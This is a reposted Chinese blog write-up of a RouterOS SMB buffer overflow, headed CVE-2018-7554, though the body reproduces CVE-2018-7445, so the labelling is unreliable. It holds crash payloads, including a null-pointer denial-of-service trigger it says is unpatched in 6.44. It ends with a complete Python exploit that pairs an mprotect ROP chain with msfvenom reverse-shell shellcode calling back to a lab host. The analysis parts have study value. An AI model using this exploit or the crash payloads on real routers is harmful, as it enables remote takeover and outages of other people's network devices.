RouterOS SMB RCE CVE-2018-7554 Analysis

栏目: 编程工具 · 发布时间: 5年前

内容简介:在对Fuzz出crash部分感兴趣的同学可以参看原文,原文在分析crash时,突发奇想地单纯增加message内容长度触发了三处不一样的崩溃点,如下两个payload都能触发第一个崩溃点:然而作者直接朝着第二个看似能利用的崩溃点分析去了,我这里就用A填充的payload来分析第一处的崩溃,首先在调试器里看下栈回溯:

0x00 前言少叙

Finding and exploiting CVE-2018-7445 这篇文章中,作者使用Mutiny Fuzzer,将对SMB服务发送的初始化数据包进行dumb变异,发现崩溃进行调试后完成漏洞利用。刚好之前对RouterOS 逆向分析 过一段时间,本文就针对 6.38.4 的版本复现利用,并对一些文章中没有提到的点略作探究。

0x01 遗留指针

对Fuzz出crash部分感兴趣的同学可以参看原文,原文在分析crash时,突发奇想地单纯增加message内容长度触发了三处不一样的崩溃点,如下两个payload都能触发第一个崩溃点:

poc =  '\x81\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20'
poc += '\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00'
poc += '\x00\x20\x00\x00'

sample_poc = '\x81\x00\x00\x40'+'A'*0x40

然而作者直接朝着第二个看似能利用的崩溃点分析去了,我这里就用A填充的payload来分析第一处的崩溃,首先在调试器里看下栈回溯:

RouterOS SMB RCE CVE-2018-7554 Analysis

其中复制的目的地址edi为0产生崩溃,结合SMB的 协议 ,在函数调用流程中可知 sub_805038A 中,判断了message type是0x81,存储了长度然后传递空指针进入崩溃点:

RouterOS SMB RCE CVE-2018-7554 Analysis

开始的想法是对这个位置不变的堆地址(ASLR为1)下硬件写断点,实际只能捕获到初始化为空指针的过程。配合逆向注意到程序在 read 完后,又调用函数 sub_8050858 在堆上新生成个对象保存数据内容,并在后续过程中传递使用:

RouterOS SMB RCE CVE-2018-7554 Analysis

上图v38中保存的堆地址内容如下,其中 0x8076fc8+0xc 处就是崩溃时引用的空指针:

RouterOS SMB RCE CVE-2018-7554 Analysis

其实崩溃处没有A相关信息,就应该想到不是message内容导致的崩溃,而很可能是在处理数据包的过程中,没有进入某处逻辑导致某变量没有初始化,最后再引用时则导致了空指针。推测是message type的原因,在 0x8076fc8 处下硬点读断点,第一处触发在 sub_806DB00 函数中,我们payload message的长度为0x40不会进入67行的逻辑:

RouterOS SMB RCE CVE-2018-7554 Analysis

第二次的触发点就直接是将空指针传入崩溃点的过程了:

RouterOS SMB RCE CVE-2018-7554 Analysis

如果message的长度大于0x43,即会进入第一处的逻辑在函数 sub_80502D0 完成初始化操作。所以只要长度小于0x44就能稳定触发这个空指针引用的崩溃,而且该问题在最新的系统版本6.44中仍未修复,可在某些场景下造成拒绝服务攻击:

RouterOS SMB RCE CVE-2018-7554 Analysis

对于 sample_poc = '\x81\x00\x3e\x80'+'A'*0x3e80 触发的第三处崩溃,在 gef 中可看出是把栈打满了引发的段错误,和第二个崩溃点的可利用性一样。至于本文开始提到的可完成漏洞利用的第二个崩溃点,详见后面的小节内容:

RouterOS SMB RCE CVE-2018-7554 Analysis

0x02 漏洞分析

紧接上文如果修改message长度为0x44,进入处理后继续执行则触发了和原文中一样的第二处崩溃,其中的eip被覆盖为非法地址,像是一个溢出漏洞而且利用的可能性很大:

RouterOS SMB RCE CVE-2018-7554 Analysis

接下来需要定位溢出点,原文作者的思路是查看后端程序的输出,根据字符串定位至相关环境,然后单步执行观察栈帧和寄存器的情况确定溢出函数:

RouterOS SMB RCE CVE-2018-7554 Analysis

结合之前的逆向我们知道,在判断message type为0x81后先经过 sub_806DB00 函数的初始化,随后调用 sub_8054A76sub_8054A05 过程中都有传递栈地址,最后输出 New connection: ,那么问题很可能存在于后两者中,借用原文的伪代码展示 sub_8054A76 的逻辑:

RouterOS SMB RCE CVE-2018-7554 Analysis

其解析源字符串保存至栈地址上,并用 . 字符作为分隔符。按照 sub_8054A76((int)&v60, (unsigned __int8 *)(v4 + 34)); 的调用方式,源地址是message指针偏移34字节内容可控,目的地址为栈地址,解析过程中没有边界检查导致溢出,可影响前一栈帧进而覆盖eip。

原文说这个SMB溢出漏洞在 6.41.3 修复了,其做法是限制复制的长度只能是32字节,一种删减功能的做法:

RouterOS SMB RCE CVE-2018-7554 Analysis

0x03 漏洞利用

这是一个比较简单的溢出漏洞,所以利用姿势比较常规,调试过程中需要注意上下文环境。程序开启的保护机制只有个NX,可使用ROP调用mprotect函数添加内存的可执行权限,系统ASLR为1,可以考虑在brk分配的heap上,也就是message中携带shellcode,mprotect后调转执行。

我个人比较喜欢静态地确定偏移,v60的地址为 ebp+var_3C 即向下0x40个字节可覆盖至eip,试水如下:

poc =  "\x81\x00\x00\x68" # header
poc += "A" * 34           # padding
poc += "\x44" * 1         # length
poc += "B" * 64           # padding
poc += "C" * 4            # bof eip
poc += "\x00" * 1         # end

溢出后虽然还调用了 sub_8054A05 ,但我们在漏洞利用阶段不要太拘泥于逆向分析,直接动态调试可加大效率,可知该函数对我们的payload并没有什么影响:

RouterOS SMB RCE CVE-2018-7554 Analysis

ROP链的构造和原文中的大同小异,可以选择更加高效的gadget来组合,其中学到的是在vDSO中调用 __kernel_vsyscall 系统调用的汇编指令,而且该地址 不受 RouterOS系统中ASLR的影响,照葫芦画瓢写了下:

rop = ""
rop += p32(0x08048eec) # pop eax ; ret
rop += p32(0x7d)       # eax -> mprotect system call
rop += p32(0x080543e7) # pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
rop += p32(0x7)        # edx -> prot for mprotect
rop += p32(0x14000)    # ecx -> len for mprotect
rop += p32(0x08074000) # ebx -> addr for mprotect
rop += p32(0x90909090) # esi -> junk
rop += p32(0x90909090) # edi -> junk
rop += p32(0x90909090) # ebp -> junk
rop += p32(0xffffe422) # int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret
rop += p32(0x90909090) # ebp -> junk
rop += p32(0x90909090) # edx -> junk
rop += p32(0x90909090) # ecx -> junk
rop += p32(0xffffffff) # addr for shellcode in heap

紧接着添加120字节的 \x90 作为shellcode,想看看rop中有没有被bad char影响,header中message的长度就是 34+1+64+64+1+120=0x11c ,可发送数据包后根本没有进入漏洞逻辑,调试可知在 read 数据过程中莫名奇妙地少了4个字节,讲道理程序只有一处 read 函数的触发而且count为0x10000,此处疑问只能求师傅们教教我了:

RouterOS SMB RCE CVE-2018-7554 Analysis

程序在处理message之前还会校验一下长度,因为接收的长度小于header中的长度,程序直接返回也就不能到达漏洞点了:

RouterOS SMB RCE CVE-2018-7554 Analysis

这里推测可能是存在bad char或者程序逻辑和我逆向预期的不同,有一个规避的方法就是在上图中是可以使接收的数据长度大于header中的长度字段,其会根据长度字段生成一个新的message对象传递给后续函数使用。还注意到 read 接收的数据保存在堆地址上并没有释放掉,可以考虑使用其中保存的原始shellcode的固定地址:

RouterOS SMB RCE CVE-2018-7554 Analysis

最终完成执行权限的添加后,查看该堆地址的内容是否有被破坏,发现虽然有所偏移但shellcode的起始地址还是固定不变的:

RouterOS SMB RCE CVE-2018-7554 Analysis

综上,可以构建exploit如下,完成反弹 shell 的操作:

#!/usr/bin/env python

import socket
import struct

p32 = lambda x : struct.pack('I', x)

header = "\x81\x00\x01\x1c"

padding = "A"*34 + "\x80" + "B"*64

rop = ""
rop += p32(0x08048eec) # pop eax ; ret
rop += p32(0x7d)       # eax -> mprotect system call
rop += p32(0x080543e7) # pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
rop += p32(0x7)        # edx -> prot for mprotect
rop += p32(0x14000)    # ecx -> len for mprotect
rop += p32(0x08074000) # ebx -> addr for mprotect
rop += p32(0x90909090) # esi -> junk
rop += p32(0x90909090) # edi -> junk
rop += p32(0x90909090) # ebp -> junk
rop += p32(0xffffe422) # int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret
rop += p32(0x90909090) # ebp -> junk
rop += p32(0x90909090) # edx -> junk
rop += p32(0x90909090) # ecx -> junk
rop += p32(0x080778e0) # addr for shellcode in heap

end = "\x00"

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.103 LPORT=4444 -f python -v shellcode
shellcode =  ""
shellcode += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
shellcode += "\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
shellcode += "\x68\xc0\xa8\x38\x67\x68\x02\x00\x11\x5c\x89\xe1"
shellcode += "\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52"
shellcode += "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
shellcode += "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

shellcode += "\x90" * (120+40-len(shellcode))

exploit = header + padding + rop + end + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.102', 445))
s.sendall(exploit)
s.close()

RouterOS SMB RCE CVE-2018-7554 Analysis

0x04 总结反思

  1. 调试有方法:在根据crash定位问题点,和判断crash的可利用性时,通常考察的是调试的技巧和思路,需要增强相关的系统知识才能更高效。
  2. 利用与逆向:在定位至漏洞点并确定利用方案后,虽然逆向必不可少但也不能太钻牛角尖,忽视了漏洞利用的最终目的。
  3. 利用精简化:本文的利用还是靠着固定堆地址,程序中应该还有一个固定堆地址是可利用的,但应该还有堆喷和上下文相关的更加精简优雅的利用方式,感兴趣可以探究下。
  4. 深入实地里:漏洞看起来简单实践起来终归是能学到东西的,脚踏实地的话,RouterOS的 这个 整数溢出的利用还是很有意思的。

以上所述就是小编给大家介绍的《RouterOS SMB RCE CVE-2018-7554 Analysis》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Kotlin实战

Kotlin实战

【美】Dmitry Jemerov(德米特里·詹莫瑞福)、【美】 Svetlana Isakova(斯维特拉娜·伊凡诺沃) / 覃宇、罗丽、李思阳、蒋扬海 / 电子工业出版社 / 2017-8 / 89.00

《Kotlin 实战》将从语言的基本特性开始,逐渐覆盖其更多的高级特性,尤其注重讲解如何将 Koltin 集成到已有 Java 工程实践及其背后的原理。本书分为两个部分。第一部分讲解如何开始使用 Kotlin 现有的库和API,包括基本语法、扩展函数和扩展属性、数据类和伴生对象、lambda 表达式,以及数据类型系统(着重讲解了可空性和集合的概念)。第二部分教你如何使用 Kotlin 构建自己的 ......一起来看看 《Kotlin实战》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

在线进制转换器
在线进制转换器

各进制数互转换器

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试